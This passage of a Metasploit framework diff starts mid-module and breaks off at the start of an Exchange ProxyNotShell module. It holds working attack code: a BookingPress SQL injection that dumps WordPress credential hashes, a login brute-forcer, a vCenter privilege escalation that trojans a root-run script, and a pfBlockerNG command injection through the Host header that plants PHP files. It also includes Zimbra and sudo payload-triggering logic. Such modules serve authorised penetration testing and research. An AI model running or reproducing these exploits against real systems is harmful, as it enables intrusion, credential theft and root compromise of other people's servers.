'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The URL of the BookingPress appointment booking page', '/bookingpress/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
@nonce = get_user_nonce
|
||||
return Exploit::CheckCode::Unknown(NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
|
||||
|
||||
@sqli = get_sqli_object
|
||||
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def generate_vars_post(sqli)
|
||||
{
|
||||
'action' => 'bookingpress_front_get_category_services', # Vulnerable AJAX action
|
||||
'_wpnonce' => @nonce,
|
||||
'category_id' => 1,
|
||||
'total_service' => "#{rand(100..10000)}#{sqli}"
|
||||
}
|
||||
end
|
||||
|
||||
def get_sqli_object
|
||||
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/wp-admin/admin-ajax.php'),
|
||||
'vars_post' =>
|
||||
generate_vars_post(") UNION ALL SELECT (#{payload}),456,789,12,34,56,78,90,77 from wp_users-- -")
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
json_doc = res.get_json_document
|
||||
if json_doc.blank? || json_doc[0].blank?
|
||||
print_error('Could not parse the JSON response returned from the SQLi attempt!')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
|
||||
json_parsed_doc = json_doc[0]['bookingpress_service_id']
|
||||
if json_parsed_doc.blank?
|
||||
print_error('Was able to parse the JSON response but no bookingpress_service_id field was found!')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
|
||||
json_parsed_doc
|
||||
elsif res
|
||||
print_error("Unexpected response code encountered when conducting the SQLi attempt: #{res.code}")
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
else
|
||||
print_error('No response from SQLi attempt')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_user_nonce
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
|
||||
return NONCE_NOT_FOUND_ERROR_MSG unless res&.body&.match("_wpnonce:'(\\w+)'\\s*};")
|
||||
|
||||
::Regexp.last_match(1)
|
||||
end
|
||||
|
||||
def run
|
||||
@nonce ||= get_user_nonce
|
||||
fail_with(Failure::UnexpectedReply, NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
|
||||
@sqli ||= get_sqli_object
|
||||
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
|
||||
creds_table = Rex::Text::Table.new(
|
||||
'Header' => 'Wordpress User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Email', 'Hash']
|
||||
)
|
||||
|
||||
print_status('Extracting credential information')
|
||||
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
|
||||
|
||||
users.each do |(username, email, hash)|
|
||||
creds_table << [username, email, hash]
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
|
||||
private_data: hash,
|
||||
service_name: 'WordPress BookingPress Plugin',
|
||||
address: datastore['RHOSTS'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
email: email
|
||||
})
|
||||
end
|
||||
print_line creds_table.to_s
|
||||
end
|
||||
end
|
||||
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if result
|
||||
print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)")
|
||||
# Report with the the SSL Private Key hash for the host
|
||||
# Report with the SSL Private Key hash for the host
|
||||
digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":")
|
||||
report_note(
|
||||
:host => ip,
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/login_scanner/syncovery_file_sync_backup'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Syncovery For Linux Web-GUI Login Utility',
|
||||
'Description' => 'This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.',
|
||||
'Author' => [ 'Jan Rude' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8999,
|
||||
'USERNAME' => 'default',
|
||||
'PASSWORD' => 'pass',
|
||||
'STOP_ON_SUCCESS' => true # There is only one user
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
|
||||
OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
|
||||
OptString.new('PASSWORD', [false, 'The password to Syncovery (default: pass)', 'pass']),
|
||||
OptString.new('TARGETURI', [false, 'The path to Syncovery', '/'])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
end
|
||||
|
||||
def scanner(ip)
|
||||
@scanner ||= lambda {
|
||||
cred_collection = build_credential_collection(
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
return Metasploit::Framework::LoginScanner::SyncoveryFileSyncBackup.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
uri: datastore['TARGETURI'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
http_username: datastore['HttpUsername'],
|
||||
http_password: datastore['HttpPassword']
|
||||
)
|
||||
)
|
||||
}.call
|
||||
end
|
||||
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(level: :verror, ip: ip, msg: result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
if scanner(ip).check_setup
|
||||
vprint_brute(level: :good, ip: ip, msg: 'Syncovery File Sync & Backup Software confirmed')
|
||||
else
|
||||
print_brute(level: :error, ip: ip, msg: 'Target is not Syncovery File Sync & Backup Software')
|
||||
return
|
||||
end
|
||||
|
||||
version = scanner(ip).get_version
|
||||
if !version
|
||||
vprint_brute(level: :error, ip: ip, msg: 'Unknown version')
|
||||
else
|
||||
vprint_brute(level: :good, ip: ip, msg: "Identified version: #{version}")
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
end
|
||||
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
if res.code != 401
|
||||
vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
|
||||
vprint_error("http://#{rhost}:#{rport}#{uri} - Authorization not requested")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -865,6 +865,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
|
||||
@@ -49,6 +49,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
||||
@@ -65,6 +65,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
type: 'snmp.users',
|
||||
data: users
|
||||
)
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
# too noisy for a scanner
|
||||
ensure
|
||||
|
||||
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Description' => %q{
|
||||
This module provides a Rex based DNS service which can store static entries,
|
||||
resolve names over pivots, and serve DNS requests across routed session comms.
|
||||
DNS tunnels can operate across the the Rex switchboard, and DNS other modules
|
||||
DNS tunnels can operate across the Rex switchboard, and DNS other modules
|
||||
can use this as a template. Setting static records via hostfile allows for DNS
|
||||
spoofing attacks without direct traffic manipulation at the handlers. handlers
|
||||
for requests and responses provided here mimic the internal Rex functionality,
|
||||
|
||||
@@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_new_session(_session)
|
||||
print_status 'Cleaning up the the scheduler...'
|
||||
print_status 'Cleaning up the scheduler...'
|
||||
|
||||
# Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
|
||||
# the scheduler without any parameter:) It will leave the only command name in the config file.
|
||||
|
||||
@@ -163,23 +163,30 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# This loop is mostly from `multi/handler`
|
||||
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
|
||||
# We flip this once we trigger the payload
|
||||
keep_sending = true
|
||||
loop do
|
||||
break if session_created?
|
||||
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_filename)
|
||||
)
|
||||
# Once we've triggered the payload, stop trying to
|
||||
if keep_sending
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_filename)
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
|
||||
end
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
|
||||
end
|
||||
|
||||
# Break when the file successfully appears
|
||||
if res.code == 200
|
||||
print_good('Successfully triggered the payload')
|
||||
# This should break when we get to session_created?
|
||||
# Break when the file successfully appears
|
||||
if res.code == 200
|
||||
print_good('Successfully triggered the payload')
|
||||
keep_sending = false
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
Rex::ThreadSafe.sleep(interval)
|
||||
|
||||
@@ -125,6 +125,31 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
target_filename = generate_target_filename
|
||||
print_status("Target filename: #{target_filename}")
|
||||
|
||||
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server
|
||||
if datastore['TRIGGER_PAYLOAD']
|
||||
# Get the public path for triggering the vulnerability, terminate if we
|
||||
# can't figure it out
|
||||
public_filename = zimbra_get_public_path(target_filename)
|
||||
if public_filename.nil?
|
||||
fail_with(Failure::Unknown, 'Could not determine the public web path')
|
||||
end
|
||||
|
||||
print_status('Checking the HTTP connection to the target')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(public_filename)
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
|
||||
end
|
||||
|
||||
# Break when the file successfully appears
|
||||
unless res.code == 404
|
||||
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
|
||||
rescue StandardError => e
|
||||
@@ -138,14 +163,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Bail if they don't want the payload triggered
|
||||
return unless datastore['TRIGGER_PAYLOAD']
|
||||
|
||||
# Get the public path for triggering the vulnerability, terminate if we
|
||||
# can't figure it out
|
||||
public_filename = zimbra_get_public_path(target_filename)
|
||||
if public_filename.nil?
|
||||
print_warning('Could not determine the public web path, disabling payload triggering')
|
||||
return
|
||||
end
|
||||
|
||||
register_file_for_cleanup(target_filename)
|
||||
|
||||
interval = datastore['CheckInterval'].to_i
|
||||
@@ -154,23 +171,30 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# This loop is mostly from `multi/handler`
|
||||
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
|
||||
# We flip this once we trigger the payload
|
||||
keep_sending = true
|
||||
loop do
|
||||
break if session_created?
|
||||
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(public_filename)
|
||||
)
|
||||
# Once we've triggered the payload, stop trying to
|
||||
if keep_sending
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(public_filename)
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
|
||||
end
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
|
||||
end
|
||||
|
||||
# Break when the file successfully appears
|
||||
if res.code == 200
|
||||
print_good('Successfully triggered the payload')
|
||||
break
|
||||
# Break when the file successfully appears
|
||||
if res.code == 200
|
||||
print_good('Successfully triggered the payload')
|
||||
keep_sending = false
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
Rex::ThreadSafe.sleep(interval)
|
||||
|
||||
@@ -310,7 +310,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
echo \"success\";
|
||||
break;
|
||||
fi;
|
||||
done;
|
||||
done
|
||||
SCRIPT
|
||||
.gsub(/\s+/, ' ')) =~ /success/
|
||||
end
|
||||
@@ -361,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def execute_payload(fname)
|
||||
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
|
||||
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@@ -402,4 +402,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
# Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
|
||||
# So let's just use the WritableDir that must exist, given its use earlier
|
||||
if !session.nil? && (client.type == 'meterpreter')
|
||||
client.core.use('stdapi')
|
||||
client.fs.dir.chdir(datastore['WritableDir'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -81,7 +81,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
# https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
|
||||
binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')
|
||||
|
||||
vprint_good("Found SUID binary: #{enlightenment_sys}") unless binary.nil?
|
||||
if binary.blank?
|
||||
vprint_bad('Unable to locate enlightenment_sys')
|
||||
return nil
|
||||
end
|
||||
vprint_good("Found SUID binary: #{enlightenment_sys}")
|
||||
return binary
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'VMware vCenter vScalation Priv Esc',
|
||||
'Description' => %q{
|
||||
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
|
||||
/usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
|
||||
cis group to write to the file, which will execute as root on vmware-vmon service
|
||||
restart or host reboot.
|
||||
|
||||
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
|
||||
The following versions should be vulnerable:
|
||||
vCenter 7.0 before U2c
|
||||
vCenter 6.7 before U3o
|
||||
vCenter 6.5 before U3q
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Yuval Lazar' # original PoC, analysis
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
[ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
|
||||
[ 'CVE', '2021-22015' ],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2021-09-21',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 1800 # 30min
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
|
||||
'AKA' => ['vScalation']
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
# Simplify pulling the writable directory variable
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def java_wrapper_vmon
|
||||
'/usr/lib/vmware-vmon/java-wrapper-vmon'
|
||||
end
|
||||
|
||||
def check
|
||||
group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
|
||||
if writable?(java_wrapper_vmon) && group_owner == 'cis'
|
||||
return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
|
||||
end
|
||||
|
||||
CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Check if we're already root
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
|
||||
end
|
||||
|
||||
# Make sure we can write our exploit and payload to the local system
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
# backup the original file
|
||||
@backup = read_file(java_wrapper_vmon)
|
||||
path = store_loot(
|
||||
'java-wrapper-vmon.text',
|
||||
'text/plain',
|
||||
rhost,
|
||||
@backup,
|
||||
'java-wrapper-vmon.text'
|
||||
)
|
||||
print_good("Original #{java_wrapper_vmon} backed up to #{path}")
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
print_status("Writing payload to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
register_files_for_cleanup payload_path
|
||||
|
||||
# write trojaned file
|
||||
# we want to write our payload towards the top to ensure it gets run
|
||||
# writing it at the bottom of the file results in the payload not being run
|
||||
print_status("Writing trojaned #{java_wrapper_vmon}")
|
||||
write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))
|
||||
|
||||
# try to restart the service
|
||||
print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
|
||||
service_restart = cmd_exec('systemctl restart vmware-vmon.service')
|
||||
# one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
|
||||
if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
|
||||
print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
|
||||
end
|
||||
print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
unless @backup.nil?
|
||||
print_status("Replacing trojaned #{java_wrapper_vmon} with original")
|
||||
write_file(java_wrapper_vmon, @backup)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
|
||||
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
@@ -106,16 +106,37 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def check
|
||||
upload_shell
|
||||
check_resp = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
|
||||
'vars_post' => {
|
||||
@parameter_name.to_s => 'id'
|
||||
test_file_name = Rex::Text.rand_text_alpha(4..12)
|
||||
test_file_content = Rex::Text.rand_text_alpha(4..12)
|
||||
test_injection = <<~EOF
|
||||
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
|
||||
EOF
|
||||
encoded_php = test_injection.unpack('H*')[0].upcase
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||||
'headers' => {
|
||||
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
|
||||
}
|
||||
)
|
||||
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')
|
||||
sleep datastore['WfsDelay']
|
||||
|
||||
check_resp = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
|
||||
)
|
||||
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
|
||||
|
||||
# Clean up test webshell "/usr/local/www/#{test_file_name}"
|
||||
clean_up_injection = <<~EOF
|
||||
<?php echo unlink('/usr/local/www/#{test_file_name}');
|
||||
EOF
|
||||
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||||
'headers' => {
|
||||
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
|
||||
}
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
@@ -133,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
upload_shell unless datastore['AutoCheck']
|
||||
upload_shell
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
|
||||
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
|
||||
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
|
||||
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
|
||||
Making matters worse is if the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
|
||||
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
|
||||
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
|
||||
},
|
||||
|
||||
@@ -67,9 +67,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Payload' => {
|
||||
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2017-07-20',
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 },
|
||||
@@ -304,7 +301,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
test_passphrases
|
||||
|
||||
# If no working passphrase has been found,
|
||||
# wait to allow the the chance for the last one to callback.
|
||||
# wait to allow the chance for the last one to callback.
|
||||
if @passphrase.empty? && !@dry_run
|
||||
sleep(wfs_delay)
|
||||
end
|
||||
|
||||
@@ -0,0 +1,236 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HTTP::Exchange
|
||||
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Exchange ProxyNotShell RCE',
|
||||
'Description' => %q{
|
||||
This module chains two vulnerabilities on Microsoft Exchange Server
|
||||
that, when combined, allow an authenticated attacker to interact with
|
||||
the Exchange Powershell backend (CVE-2022-41040), where a
|
||||
deserialization flaw can be leveraged to obtain code execution
|
||||
(CVE-2022-41082). This exploit only support Exchange Server 2019.
|
||||
|
||||
These vulnerabilities were patched in November 2022.
|
||||
},
|
||||
'Author' => [
|
||||
